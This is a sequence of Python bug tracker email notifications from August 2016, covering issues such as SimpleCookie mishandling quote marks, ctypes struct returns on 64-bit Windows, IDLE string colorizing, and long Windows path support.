Tomcsanyi added the comment: So it is even worse, it is an "intentional break". I will need to review a few thousands lines of code because of this. I think that breaking others' code by redefining a "built-in" operator is acceptable when changing major versions (like 2 to 3), not minor ones (3.4 to 3.5). ---------- resolution: wont fix -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:45:29 2016 From: report at bugs.python.org (Emanuel Barry) Date: Wed, 03 Aug 2016 11:45:29 +0000 Subject: [issue27673] lambda function in loop In-Reply-To: <1470224381.05.0.371491506941.issue27673@psf.upfronthosting.co.za> Message-ID: <1470224729.74.0.118399997122.issue27673@psf.upfronthosting.co.za> Emanuel Barry added the comment: This is due to how closures work in Python: they only look up the value of the variable when the function is executed, not when it is created. See the FAQ for more information and how to work around this: https://docs.python.org/3/faq/programming.html#why-do-lambdas-defined-in-a-loop-with-different-values-all-return-the-same-result ---------- components: -Tkinter nosy: +ebarry resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 07:51:03 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 03 Aug 2016 11:51:03 +0000 Subject: [issue27672] x fromat of % operator broken in Python 3.5.2 In-Reply-To: <1470223123.65.0.568086751938.issue27672@psf.upfronthosting.co.za> Message-ID: <1470225063.43.0.330561564368.issue27672@psf.upfronthosting.co.za> SilentGhost added the comment: I'm not suggesting your reviewing code, I've referenced issue where this change was discussed and implemented so that you can familiarize yourself with the arguments. Your code worked by accident, the workaround seems trivial. If you wish to advance further arguments, please take them to that issue. This issue is closed and doesn't need re-opening. ---------- resolution: -> wont fix status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 08:22:28 2016 From: report at bugs.python.org (=?utf-8?q?Artur_Sm=C4=99t?=) Date: Wed, 03 Aug 2016 12:22:28 +0000 Subject: [issue27674] Quote mark breaks cookie processing Message-ID: <1470226948.72.0.0645301470223.issue27674@psf.upfronthosting.co.za> New submission from Artur Sm?t: The problem is similar to https://bugs.python.org/issue22931 with square brackets in cookie values. Incorrect value is serialized JSON in this case, for example: >>> from Cookie import SimpleCookie >>> cookie = SimpleCookie() >>> cookie.load('a=b; c={"somekey":"value"}; d=e, f=g, some=other') >>> cookie.output() 'Set-Cookie: a=b' >>> >From my tests I figured out that quote mark (") is causing problems. In fact, according to HTTP specification, cookies can't be JSON objects, but I think that python library shouldn't silently allow incorrect values. Probably incorrect cookies should be skipped, or some exception should be thrown there. ---------- components: Library (Lib) messages: 271901 nosy: Artur Sm?t priority: normal severity: normal status: open title: Quote mark breaks cookie processing type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 08:29:45 2016 From: report at bugs.python.org (=?utf-8?q?Artur_Sm=C4=99t?=) Date: Wed, 03 Aug 2016 12:29:45 +0000 Subject: [issue27674] Quote mark breaks cookie processing In-Reply-To: <1470226948.72.0.0645301470223.issue27674@psf.upfronthosting.co.za> Message-ID: <1470227385.42.0.952999293732.issue27674@psf.upfronthosting.co.za> Changes by Artur Sm?t : ---------- versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 08:30:40 2016 From: report at bugs.python.org (Stefan Rosewig) Date: Wed, 03 Aug 2016 12:30:40 +0000 Subject: [issue27673] lambda function in loop In-Reply-To: <1470224381.05.0.371491506941.issue27673@psf.upfronthosting.co.za> Message-ID: <1470227440.1.0.529081960681.issue27673@psf.upfronthosting.co.za> Stefan Rosewig added the comment: @Emanuel Barry thanks for clarification, I didn't find this when I was searching for. regards Stefan ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 09:03:52 2016 From: report at bugs.python.org (=?utf-8?q?Artur_Sm=C4=99t?=) Date: Wed, 03 Aug 2016 13:03:52 +0000 Subject: [issue27674] Quote mark breaks cookie processing In-Reply-To: <1470226948.72.0.0645301470223.issue27674@psf.upfronthosting.co.za> Message-ID: <1470229432.51.0.547311561019.issue27674@psf.upfronthosting.co.za> Artur Sm?t added the comment: Problem exists in Chrome for sure (it sends cookies as they are - set with JS for example). I have two another examples that can make this issue more clear: >>> from Cookie import SimpleCookie >>> c = SimpleCookie() >>> c.load('a=b; c=c"c; d=d') >>> c.output() 'Set-Cookie: a=b' Also using escaping and quotes (cookie version 1) works: >>> c = SimpleCookie() >>> c.load('a=b; c="c\\"c"; d=d') >>> c.output() 'Set-Cookie: a=b\r\nSet-Cookie: c="c\\"c"\r\nSet-Cookie: d=d' >>> ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 09:09:51 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 03 Aug 2016 13:09:51 +0000 Subject: [issue27670] Use https instead of http in the PYTHON_VERSION constant In-Reply-To: <1470181232.89.0.0745542408499.issue27670@psf.upfronthosting.co.za> Message-ID: <1470229791.84.0.526870248287.issue27670@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi Larry and Ned, I have added you to this issue because you are the release managers of 3.5 and 3.6. This issue is not important but just for the form, we need to use https instead of http for the bugtracker. Have a nice day, Stephane ---------- nosy: +larry, ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 09:10:03 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 03 Aug 2016 13:10:03 +0000 Subject: [issue27670] Use https instead of http in the PYTHON_VERSION constant In-Reply-To: <1470181232.89.0.0745542408499.issue27670@psf.upfronthosting.co.za> Message-ID: <1470229803.17.0.778329840554.issue27670@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 09:19:23 2016 From: report at bugs.python.org (Ethan Furman) Date: Wed, 03 Aug 2016 13:19:23 +0000 Subject: [issue27672] x fromat of % operator broken in Python 3.5.2 In-Reply-To: <1470223123.65.0.568086751938.issue27672@psf.upfronthosting.co.za> Message-ID: <1470230363.78.0.777200806927.issue27672@psf.upfronthosting.co.za> Ethan Furman added the comment: I'm not trying to rub salt in the wound, but it's a good idea (for all of us) to test our programs with "-W always" to see if any thing pops up: $ python3.4 -W always -c "'%x' % 3.14" sys:1: DeprecationWarning: automatic int conversions have been deprecated Also, this change was made because it was considered a bug. ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 10:24:05 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 14:24:05 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470234245.36.0.629161240175.issue20160@psf.upfronthosting.co.za> Changes by Vinay Sajip : ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 10:25:09 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 14:25:09 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470234309.46.0.897683086673.issue20160@psf.upfronthosting.co.za> Changes by Vinay Sajip : ---------- versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 10:27:39 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 14:27:39 +0000 Subject: [issue17310] Ctypes callbacks shows problem on Windows Python (64bit) In-Reply-To: <1361980274.18.0.791136497364.issue17310@psf.upfronthosting.co.za> Message-ID: <1470234459.94.0.851421732322.issue17310@psf.upfronthosting.co.za> Vinay Sajip added the comment: I'm closing this as a duplicate of issue 20160 - it appears to be the same bug. ---------- resolution: -> duplicate stage: test needed -> resolved status: open -> closed superseder: -> broken ctypes calling convention on MSVC / 64-bit Windows (large structs) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 10:32:34 2016 From: report at bugs.python.org (Geoffrey Odhner) Date: Wed, 03 Aug 2016 14:32:34 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP In-Reply-To: <1470172241.08.0.328584992088.issue27669@psf.upfronthosting.co.za> Message-ID: <1470234754.58.0.798662650746.issue27669@psf.upfronthosting.co.za> Geoffrey Odhner added the comment: I'm puzzled by your inability to reproduce my result, however I have found an error in what I reported to you. On the XP system the version I'm using is NOT 3.4.3, but 3.4.0 (3.4.0:04ff714765c13, Mar 16 2014, 19:24:06) [MSC v1600 32 bit (Intel)], running on Windows XP version 5.1.2600. That appeared to be the suggested version for XP when I downloaded it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 10:40:52 2016 From: report at bugs.python.org (Patrick Stewart) Date: Wed, 03 Aug 2016 14:40:52 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470235252.94.0.0382751976768.issue20160@psf.upfronthosting.co.za> Patrick Stewart added the comment: There's some confusion above about clang - that's completely irrelevant, the problem was using ctypes to call into libclang, not using clang to compile anything. The problem applies to any callback function that returns a struct larger than 8 bytes with any MSVC 64bit build of ctypes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 11:03:46 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 15:03:46 +0000 Subject: [issue27424] Failures in test.test_logging In-Reply-To: <1467306001.82.0.0686720653934.issue27424@psf.upfronthosting.co.za> Message-ID: <1470236626.16.0.366285022079.issue27424@psf.upfronthosting.co.za> Vinay Sajip added the comment: I am unable to reproduce this under Windows with either 32-bit or 64-bit Python, using revision 26dd6e7f. I used Windows 10 rather than 7 as that's all I can test on, but I don't believe it would make a difference. Is this error still reproducible? If not, I'll close this issue. ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 11:04:37 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 15:04:37 +0000 Subject: [issue24940] RotatingFileHandler uses tell in non-binary mode to determine size of the file in bytes In-Reply-To: <1440559082.45.0.784571189082.issue24940@psf.upfronthosting.co.za> Message-ID: <1470236677.16.0.292453297765.issue24940@psf.upfronthosting.co.za> Changes by Vinay Sajip : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 11:11:43 2016 From: report at bugs.python.org (Edoardo Gerosa) Date: Wed, 03 Aug 2016 15:11:43 +0000 Subject: [issue27675] IDLE does not fully color raw string directory paths to green when invoking os.chdir() if statement is executed with autocompletion drop down list still open Message-ID: <1470237103.73.0.416964160416.issue27675@psf.upfronthosting.co.za> New submission from Edoardo Gerosa: A cosmetic bug was noticed when executing os.chdir() in IDLE. When inputting a raw string path in os.chdir() using autocompletion the last directory in the path will remain black if the user presses enter while the autocompletion drop down list is still open. The bug seems to affect only single quoted strings. To reproduce the bug input a raw single quoted string into os.chdir(); select directories through the drop down autocomplete list using Tab; once the destination directory is reached do not make the drop down list disappear, instead after selecting the destination directory type in the closing single quote and brace and hit enter: the final directory in the path will remain black and not turn green. (image file has been added to showcase bug). ---------- assignee: terry.reedy components: IDLE files: bug_pic.png messages: 271910 nosy: egerosa, terry.reedy priority: normal severity: normal status: open title: IDLE does not fully color raw string directory paths to green when invoking os.chdir() if statement is executed with autocompletion drop down list still open type: behavior versions: Python 3.5 Added file: http://bugs.python.org/file43990/bug_pic.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 11:12:05 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 15:12:05 +0000 Subject: [issue18334] type(name, bases, dict) does not call metaclass' __prepare__ attribute In-Reply-To: <1372641138.46.0.644775856541.issue18334@psf.upfronthosting.co.za> Message-ID: <1470237125.09.0.583178899258.issue18334@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag stage: -> patch review versions: +Python 3.5, Python 3.6 -Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 11:19:53 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 03 Aug 2016 15:19:53 +0000 Subject: [issue19372] configure and compile problems with older CentOS releases In-Reply-To: <1382585649.75.0.66347191102.issue19372@psf.upfronthosting.co.za> Message-ID: <1470237593.45.0.752185092529.issue19372@psf.upfronthosting.co.za> Berker Peksag added the comment: > Kernel 2.6.18 is also quite old, so if there is no feedback if this is still an issue I'd suggest to close the report. Agreed. And without more information, there is nothing we can do here. ---------- nosy: +berker.peksag resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 11:38:33 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 15:38:33 +0000 Subject: [issue27650] Implement `__repr__` methods for logging.Logger and others In-Reply-To: <1469822965.14.0.109412472968.issue27650@psf.upfronthosting.co.za> Message-ID: <1470238713.62.0.282151009493.issue27650@psf.upfronthosting.co.za> Vinay Sajip added the comment: See attached patch for proposed changes. ---------- assignee: -> vinay.sajip keywords: +patch stage: -> patch review Added file: http://bugs.python.org/file43991/patch-1.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 12:01:21 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 03 Aug 2016 16:01:21 +0000 Subject: [issue18199] Windows: support path longer than 260 bytes using "\\?\" prefix In-Reply-To: <1371050681.12.0.381093438517.issue18199@psf.upfronthosting.co.za> Message-ID: <1470240081.54.0.461318644112.issue18199@psf.upfronthosting.co.za> Steve Dower added the comment: Just as a data point, the .NET Framework's latest version removes all of their extra path processing and lets Win32 do the validation/normalization (that is, they used to do what we're considering, but now match our behaviour). https://blogs.msdn.microsoft.com/dotnet/2016/08/02/announcing-net-framework-4-6-2/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 12:59:20 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 03 Aug 2016 16:59:20 +0000 Subject: [issue25571] Improve the lltrace feature with the Py_Debug mode In-Reply-To: <1446844426.01.0.118649403374.issue25571@psf.upfronthosting.co.za> Message-ID: <1470243560.61.0.377529166111.issue25571@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Here is a small patch for the __ltrace__ feature. I would like to propose a new test, __ltrace__ should be defined in the globals() dictionary and there is no check on the value associated to this key. Maybe we could defined it as a boolean, True or False. ---------- Added file: http://bugs.python.org/file43992/issue25571-3.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 13:17:34 2016 From: report at bugs.python.org (Emanuel Barry) Date: Wed, 03 Aug 2016 17:17:34 +0000 Subject: [issue25571] Improve the lltrace feature with the Py_Debug mode In-Reply-To: <1446844426.01.0.118649403374.issue25571@psf.upfronthosting.co.za> Message-ID: <1470244654.48.0.149249008887.issue25571@psf.upfronthosting.co.za> Emanuel Barry added the comment: Left some comments on Rietveld; mostly documentation-related (and pointed out some typos). I'm also +1 on having to specify a True value rather than just defining the variable at all (i.e. setting __ltrace__ to False is the same as not defining it). If you change this, I'd probably force the value to be an actual bool, i.e. True or False (much like __debug__; except that it's read-only and a syntax error to assign to it). ---------- nosy: +ebarry stage: -> patch review type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 13:44:41 2016 From: report at bugs.python.org (Matthew Barnett) Date: Wed, 03 Aug 2016 17:44:41 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP In-Reply-To: <1470172241.08.0.328584992088.issue27669@psf.upfronthosting.co.za> Message-ID: <1470246281.38.0.124784533878.issue27669@psf.upfronthosting.co.za> Matthew Barnett added the comment: Are you using the same version on the other systems? I've had a quick look through the bug tracker and found some fixes for fullmatch that postdate Python 3.4.0, so I'll suggest you just update to a more recent version of Python 3.4. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 13:48:51 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 03 Aug 2016 17:48:51 +0000 Subject: [issue27669] Bug in re.fullmatch() specific to Windows XP In-Reply-To: <1470172241.08.0.328584992088.issue27669@psf.upfronthosting.co.za> Message-ID: <1470246531.98.0.366527168783.issue27669@psf.upfronthosting.co.za> Zachary Ware added the comment: Use 3.4.4 on Windows XP, it's the latest available (without building it yourself). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 14:05:48 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 03 Aug 2016 18:05:48 +0000 Subject: [issue19489] move quick search box above TOC In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za> Message-ID: <1470247548.71.0.678053314271.issue19489@psf.upfronthosting.co.za> Zachary Ware added the comment: This LGTM. If it's simple enough, I'd like to see a shot at putting the search box in the top bar, but it's not necessary :) I'll commit this in the near future unless somebody beats me to it. ---------- stage: needs patch -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 14:33:18 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 18:33:18 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470249198.53.0.110377664895.issue20160@psf.upfronthosting.co.za> Vinay Sajip added the comment: I've uploaded a new patch which adds a test. I've confirmed that *without* the patch to Modules/_ctypes/libffi_msvc/ffi.c, the test passes on win32 and fails on amd64. *With* the patch to Modules/_ctypes/libffi_msvc/ffi.c, the test passes on both win32 and amd64. I'll apply this patch if I don't hear any objections or suggested improvements before Friday 2016-08-05. ---------- resolution: remind -> stage: resolved -> patch review Added file: http://bugs.python.org/file43993/patch-vms-1.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 14:33:34 2016 From: report at bugs.python.org (Vinay Sajip) Date: Wed, 03 Aug 2016 18:33:34 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470249214.74.0.0264777066992.issue20160@psf.upfronthosting.co.za> Changes by Vinay Sajip : ---------- assignee: steve.dower -> vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 14:36:18 2016 From: report at bugs.python.org (Lukas Weber) Date: Wed, 03 Aug 2016 18:36:18 +0000 Subject: [issue27676] comports() failing due to internal 4G module Message-ID: <1470249378.31.0.870337766904.issue27676@psf.upfronthosting.co.za> New submission from Lukas Weber: On my notebook I have a builtin 4G module (HP lt4112 Gobi 4G Module) it is using 3 COM ports. Running: from serial.tools.list_ports import comports comports() is giving me: File "C:\Program Files\Python27\lib\site-packages\serial\tools\list_ports_common.py", line 65, in usb_info ' LOCATION={}'.format(self.location) if self.location is not None else '') having a look (and changing) at list_ports_common.py is telling me that pid and vid is None this works, but might not be very proper: def usb_info(self): """return a string with USB related information about device""" return 'USB VID:PID={}:{}{}{}'.format( '{:04X}'.format(self.vid) if self.vid is not None else '', '{:04X}'.format(self.pid) if self.pid is not None else '', ' SER={}'.format(self.serial_number) if self.serial_number is not None else '', ' LOCATION={}'.format(self.location) if self.location is not None else '') ---------- components: Interpreter Core messages: 271920 nosy: Lukas Weber priority: normal severity: normal status: open title: comports() failing due to internal 4G module type: crash versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 14:41:31 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 03 Aug 2016 18:41:31 +0000 Subject: [issue27676] comports() failing due to internal 4G module In-Reply-To: <1470249378.31.0.870337766904.issue27676@psf.upfronthosting.co.za> Message-ID: <1470249691.03.0.428217885731.issue27676@psf.upfronthosting.co.za> Zachary Ware added the comment: serial is not a core Python library. I'm assuming it's from PySerial, whose bug tracker is here: https://github.com/pyserial/pyserial/issues ---------- components: -Interpreter Core nosy: +zach.ware resolution: -> third party stage: -> resolved status: open -> closed type: crash -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 15:02:34 2016 From: report at bugs.python.org (Eryk Sun) Date: Wed, 03 Aug 2016 19:02:34 +0000 Subject: [issue18199] Windows: support path longer than 260 bytes using "\\?\" prefix In-Reply-To: <1371050681.12.0.381093438517.issue18199@psf.upfronthosting.co.za> Message-ID: <1470250954.91.0.968724277615.issue18199@psf.upfronthosting.co.za> Eryk Sun added the comment: Apparently CoreFX adds the \\?\ prefix automatically: https://blogs.msdn.microsoft.com/jeremykuhne/2016/06/21/more-on-new-net-path-handling It's great that Windows 10 Anniversary Edition will be getting long path support without requiring the extended path prefix, at least for NTFS volumes. I assume that includes slash-to-backslash normalization, relative paths, and drive-relative paths. I wonder about long drive-relative paths since they depend on hidden environment variables such as "=D:". The default environment block isn't that big. Python 3.5 supports back to Vista, so I still think automatically handling long Unicode paths, like how CoreFX reportedly works, makes for a more friendly cross-platform development experience. There are too many pitfalls with \\?\ paths -- they have to be Unicode (except that limitation is removed in Windows 10), fully qualified, use backslash only, and UNC paths have to be translated to use the \\?\UNC DOS device. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 15:34:05 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 03 Aug 2016 19:34:05 +0000 Subject: [issue27609] IDLE completions: format, factor, and fix In-Reply-To: <1469404988.71.0.674184496094.issue27609@psf.upfronthosting.co.za> Message-ID: <1470252845.75.0.369118530464.issue27609@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Add 27675. If open quote is ' or '', actions (character key or box selection with up or down arrow) after first are not colored. ' and ''' do not complete, when needed, nor close. ---------- dependencies: +IDLE does not fully color raw string directory paths to green when invoking os.chdir() if statement is executed with autocompletion drop down list still open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 15:40:03 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 03 Aug 2016 19:40:03 +0000 Subject: [issue27675] IDLE file completion has 2 bugs depending on open quote used In-Reply-To: <1470237103.73.0.416964160416.issue27675@psf.upfronthosting.co.za> Message-ID: <1470253203.01.0.627182429318.issue27675@psf.upfronthosting.co.za> Terry J. Reedy added the comment: When encountering a bug, it helps to determine the minimum needed to invoke the bug. os.chdir is irrelevant and distracting noise as far as investigating these bugs. There turns out to be two. Raw versus cooked mode is also irrelevant, so an 'r' prefix is not needed. The path separator also seems to not matter. So we can use '/'. I did several tests with 3.6 on Windows 10, first in Shell, then a quick confirmation in a fresh editor. What does matter is the open quote: ', ", ''', or """. When one types a string without completions, the opening quote along with any prefix is colored, as is the subsequent content and closing quote as they are entered. This should remain true when completions are involved. It is true for opening """ or ". For ''' and ', the first action after typing '/' is colored, subsequent actions are not. The action can be either typing a letter or moving the selection in the completion box with up or down arrow. (Things are different when moving around in a string and forcing completions open with cntl-space.) When one types a closing quote, the final directory should be completed if it is not already and the completion box closed. This is true for """ and ", but ''' and ' neither complete nor close. After a ''', additional characters are also colored. For "'''/Ga'''me", the "me" are also, improperly, colored and the box remains. We thus have two bugs: a color but that depends on the number of open quotes and a complete and close bug that depends of the type of open quote. A single single quote has both. Thank you for the report. Colorizer has a pair of symmetrical regexes for single quote strings (possible not complete) and another pair for triple quote strings. (Symmetrical means identical except for reversing roles of ' and ".) So it is plausible that these might be the cause of a number-dependent bug. It has a debug most that could be turned on doing file completion in an editor. ---------- stage: -> test needed title: IDLE does not fully color raw string directory paths to green when invoking os.chdir() if statement is executed with autocompletion drop down list still open -> IDLE file completion has 2 bugs depending on open quote used versions: +Python 3.6 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 16:19:09 2016 From: report at bugs.python.org (Ammar Askar) Date: Wed, 03 Aug 2016 20:19:09 +0000 Subject: [issue19489] move quick search box above TOC In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za> Message-ID: <1470255549.79.0.47680954048.issue19489@psf.upfronthosting.co.za> Ammar Askar added the comment: This patch adds the search bar to the navigation/header area on the right. ---------- Added file: http://bugs.python.org/file43994/searchbar_in_header.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 16:34:39 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 03 Aug 2016 20:34:39 +0000 Subject: [issue27675] IDLE file completion has 2 bugs depending on open quote used In-Reply-To: <1470237103.73.0.416964160416.issue27675@psf.upfronthosting.co.za> Message-ID: <1470256479.19.0.841427525211.issue27675@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Experiments with colorizer debugger on: with auto popup disabled with a long wait, output for each character entered is (except for time variations) the following, regardless of quotation. schedule colorizing colorizing... 0.002 seconds If I type "'/" for box 'G', I see schedule colorizing colorizing ... but no completion time. An immediate 'a' is not colored and produces stop colorizing schedule colorizing already colorizing However, if after entering G, I shift focus off the window, but clicking another window or opening and closing About IDLE, the colorizing completes and I see a time, such as 41.480 seconds and following chars are colorized. If instead, I enter 'a' quickly and then do the shift, I see something like colorizing stopped 58.904 seconds and 'a' turns to green, as it should have without the delay. Neither of the autocomplete files import colorizer (at least not directly), but the completion box somehow affects colorizing, perhaps through affecting the tk loop. If I start with ''' instead of ', the debug output for post-box 'ga' is the same, but 'a' and subsequent chars are colored anyway. autocomplete imports hyperparser. but I do not immediately see any asymmetry there or in the autocomplete files to explain why '('') and "("") are treated differently. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 16:39:10 2016 From: report at bugs.python.org (Ammar Askar) Date: Wed, 03 Aug 2016 20:39:10 +0000 Subject: [issue19489] move quick search box above TOC In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za> Message-ID: <1470256750.76.0.37192785927.issue19489@psf.upfronthosting.co.za> Ammar Askar added the comment: Amended the navigation bar patch to add back a change that only shows the searchbar if javascript is enabled. ---------- Added file: http://bugs.python.org/file43995/searchbar_in_header.diff2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 16:40:05 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 03 Aug 2016 20:40:05 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1470256805.95.0.884303676063.issue27574@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Updated patch addresses Antoine's comments. All checks of format string are moved into parser_init. I experimented with Antoine's idea about making vgetargskeywords a simple wrapper around vgetargskeywordsfast with one-shot parser, but this slows down parsing positional arguments too much (due to creating Python strings for unused keyword names). ---------- Added file: http://bugs.python.org/file43996/faster_keyword_args_parse_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 16:51:37 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 03 Aug 2016 20:51:37 +0000 Subject: [issue19489] move quick search box above TOC In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za> Message-ID: <1470257497.43.0.582063440094.issue19489@psf.upfronthosting.co.za> Zachary Ware added the comment: I really like the search box in the header/footer. I can't really speak for the actual content of the patch since my Sphinx/HTML/CSS/Jinja/whatever else knowledge is severely limited, but it looks pretty straightforward and the result is very nice. I'd appreciate a review from someone who's better-versed in all things Sphinx (Georg, if you have a chance, you'd be ideal). If there are no objections within about a week, though, I'll just go ahead and commit it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 16:56:19 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 03 Aug 2016 20:56:19 +0000 Subject: [issue19489] move quick search box above TOC In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za> Message-ID: <1470257779.93.0.513274139348.issue19489@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- versions: -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 17:06:06 2016 From: report at bugs.python.org (Mark Roseman) Date: Wed, 03 Aug 2016 21:06:06 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470258366.01.0.942622775191.issue27621@psf.upfronthosting.co.za> Mark Roseman added the comment: Thanks Terry! I'd be good if you want to put a width back on the buttons, but I'd suggest "width=6" rather than using 8 as it was before. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 18:54:04 2016 From: report at bugs.python.org (A Kaptur) Date: Wed, 03 Aug 2016 22:54:04 +0000 Subject: [issue25571] Improve the lltrace feature with the Py_Debug mode In-Reply-To: <1446844426.01.0.118649403374.issue25571@psf.upfronthosting.co.za> Message-ID: <1470264844.46.0.722470250559.issue25571@psf.upfronthosting.co.za> Changes by A Kaptur : ---------- nosy: +akaptur _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 19:06:11 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 03 Aug 2016 23:06:11 +0000 Subject: [issue25571] Improve the lltrace feature with the Py_Debug mode In-Reply-To: <1446844426.01.0.118649403374.issue25571@psf.upfronthosting.co.za> Message-ID: <1470265571.79.0.939559795575.issue25571@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Here is a new version of my patch "issue25571-4.diff" with the comments of Emanuel 